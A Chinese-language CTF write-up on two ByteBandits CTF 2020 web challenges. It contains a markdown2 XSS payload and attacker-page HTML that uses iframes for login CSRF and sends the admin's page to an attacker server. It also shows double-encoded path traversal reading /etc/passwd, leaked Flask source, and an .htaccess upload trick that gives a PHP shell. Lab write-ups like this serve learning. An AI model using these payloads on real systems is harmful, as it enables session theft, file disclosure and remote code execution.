今天又是自闭的一天呢
Noteapp
考点:XSS、CSRF(wtcl....自闭了)
docker:https://github.com/ByteBandits/bbctf-2020/tree/master/web/notes
需要把google浏览器的key验证相关代码删掉,不然会无法通过验证:(感谢byc_404师傅)
只要能让bot访问ip就行了,然后./env.sh && docker-compose up -d
注册登陆之后是一个便签
/profile
并且可以提交页面给管理员看,xss实锤了
但是有内容的闭合标签都会被替换成[HTML_REMOVED]
单个尖括号也会被转义成html实体编码:<
xss技术太差了,结束之后看思路,没想到突破点是这个:用的markdown2解析器
poc:https://github.com/trentm/python-markdown2/issues/341
看一下markdown版本为2.3.8,正好符合
<http://g<!s://q?<!-<[<script>alert(1);/*](http://g)->a><http://g<!s://g.c?<!-<[a\*/</script>alert(1);/*](http://g)->a>
能弹窗:
但是此时的页面依然是:/profile
如果提交给管理员这个url,那么管理员访问的也只是自己的/profile
之前从来没碰到过CSRF,没想到在这碰上了
CSRF跨站点请求伪造(Cross—Site Request Forgery),跟XSS攻击一样,存在巨大的危害性,你可以这样来理解:
攻击者构造结合了恶意JavaScript和iframe的攻击,该iframe加载了合法页面
诱使你点击,然后以你的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作
那么我们要获取管理员的/profile(flag在上面)步骤如下:
1.先在自己的服务器上构造第一个恶意的iframe,用来获取保存管理员的/profile页面。再构造第二个iframe,将管理员注销。构造第三个iframe用来登陆我们自己的账号,url为/login?username=xxx&password=xxx
2.管理员登陆我们的账号后,会自动跳转的我们的/profile,此时改一下上面的xss语句,跳转到我们服务器,并携带第一个iframe的值,这样就成功返回了管理员页面
为了确保上述操作能一步步进行,需要延时来确保完成
服务器html如下:
<html>
<head>
<script>
function sleep(waitMsec){
var startMsec = new Date();
while (new Date() - startMsec < waitMsec);
}
window.addEventListener('load', function() {
//iframe1
var adminframe = document.createElement("iframe");
adminframe.name = "adminframe";
adminframe.src = "https://notes.web.byteband.it/profile";
var body = document.querySelector("body");//获取body标签的内容
body.appendChild(adminframe);//加入iframe1
sleep(3000);//延时
//iframe2
var logoutframe = document.createElement("iframe");
logoutframe.src = "https://notes.web.byteband.it/logout";//用来注销admin账号
body.appendChild(logoutframe);
sleep(3000);//延时
//iframe3
var loginframe = document.createElement("iframe");
loginframe.src = "https://notes.web.byteband.it/login?username=wander&password=123";//登陆我们的账号
body.appendChild(loginframe);
}, false);
</script>
</head>
</html>
/profile js如下,用来获取iframe的body值并跳转到服务器
<http://g<!s://q?<!-<[<script>location.href='http://ip:port/?q='+btoa(top.adminframe.document.body.innerHTML);/*](http://g)->a><http://g<!s://g.c?<!-<[a\*/</script>hoge;/*](http://g)->a>
做完准备工作后只需要提交url即可,然后监听即可收到flag
base64一下就可以看到admin的/profile了
参考文章:https://graneed.hatenablog.com/entry/2020/04/13/004211
https://d1r3wolf.blogspot.com/2020/04/chaning-no-impactna-bugs-to-get-high.html
关于csrf:https://xz.aliyun.com/t/1243#toc-11
https://www.freebuf.com/articles/web/55965.html
下次抽个时间写一下csrf吧
imgaccess2
这题感觉solve数太少了,没看的太深(菜),毕竟有环境,还是跟着师傅的wp复现一下吧
题目描述:I heard they have something special running at secretserver:1337
考点:文件读取、文件上传
首先是一个文件上传点,一般都不会直接考上传绕过的,这题也是如此
先上传一个图片,上传完后得到路径为:
http://ip:7003/view/f528764d624db129b32c21fbca0cb8d6/wander.png
源码处得到真实路径
格式为uploads/md5/原始文件名
:
根据官方的hint:
得知是python代码,并且/uploads可能有文件读取,根据wp居然是二次url编码进行路径穿越然后读取文件,需要fuzz功底
这样就能得到/etc/passwd的内容
/uploads/f528764d624db129b32c21fbca0cb8d6/..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd
由于不知道当前目录,可以用/proc/self/cwd/app.py
来读python源码:
from flask import Flask, render_template, request, flash, redirect, send_file
from urllib.parse import urlparse
import re
import os
from hashlib import md5
import asyncio
import requests
app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = os.path.join(os.curdir, "uploads")
# app.config['UPLOAD_FOLDER'] = "/uploads"
app.config['MAX_CONTENT_LENGTH'] = 1*1024*1024
app.secret_key = b'_5#y2L"F4Q8z
xec]/'
ALLOWED_EXTENSIONS = {'png', 'jpg', 's'}
if not os.path.exists(app.config['UPLOAD_FOLDER']):
os.mkdir(app.config['UPLOAD_FOLDER'])
def secure_filename(filename):
return re.sub(r"(..|/)", "", filename)
def allowed_file(filename):
return '.' in filename and
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route("/")
def index():
return render_template("home.html")
@app.route("/upload", methods=["POST"])
def upload():
caption = request.form["caption"]
file = request.files["image"]
if file.filename == '':
flash('No selected file')
return redirect("/")
elif not allowed_file(file.filename):
flash('Please upload images only.')
return redirect("/")
else:
if not request.headers.get("X-Real-IP"):
ip = request.remote_addr
else:
ip = request.headers.get("X-Real-IP")
dirname = md5(ip.encode()).hexdigest()
filename = secure_filename(file.filename)
upload_directory = os.path.join(app.config['UPLOAD_FOLDER'], dirname)
if not os.path.exists(upload_directory):
os.mkdir(upload_directory)
upload_path = os.path.join(app.config['UPLOAD_FOLDER'], dirname, filename)
file.save(upload_path)
return render_template("uploaded.html", path = os.path.join(dirname, filename))
@app.route("/view/<path:path>")
def view(path):
return render_template("view.html", path = path)
@app.route("/uploads/<path:path>")
def uploads(path):
# TODO(noob):
# zevtnax told me use apache for static files. I've
# already configured it to serve /uploads_apache but it
# still needs testing. I'm a security noob anyways.
return send_file(os.path.join(app.config['UPLOAD_FOLDER'], path))
if __name__ == "__main__":
app.run(port=5000)
这里有一个白名单过滤:
ALLOWED_EXTENSIONS = {'png', 'jpg', 's'}
这个s很奇妙,看到后面对文件名进行的操作:
filename = secure_filename(file.filename)
而secure_filename在这里做了正则替换
会将..
或者替换为空
根据提示.htaccess与这一段注释,得知要我们上传.htaccess文件,并且/uploads_apache路径下应该是apache的服务
可以通过404页面判断,/uploads
/upload_apache
由于后缀白名单中有一个s,所以上传文件名为.htacces..s
即可:
内容为addtype application/x-httpd-php .png
此时访问png图片即可getshell
根据题目描述:I heard they have something special running at secretserver:1337
看一下/etc/hosts得知内网为172.19.0.2的网段
用插件探测一下发现.3开着1337端口
直接在upload路径下wget会显示permission denied,那么就转到/tmp目录wget http://172.19.0.3:1337 -O 1.html
继续读flag.txt
参考文章:http://www.bycsec.top/2020/04/13/ByteBanditsCTF2020%E4%B8%A4%E9%81%93WEB%E5%A4%8D%E7%8E%B0/#ImgAccess2
https://www.gem-love.com/ctf/2254.html
后记
web3点击源码下出来一个apk,直接给我劝退了,https://github.com/ByteBandits/bbctf-2020/tree/master/web/analytics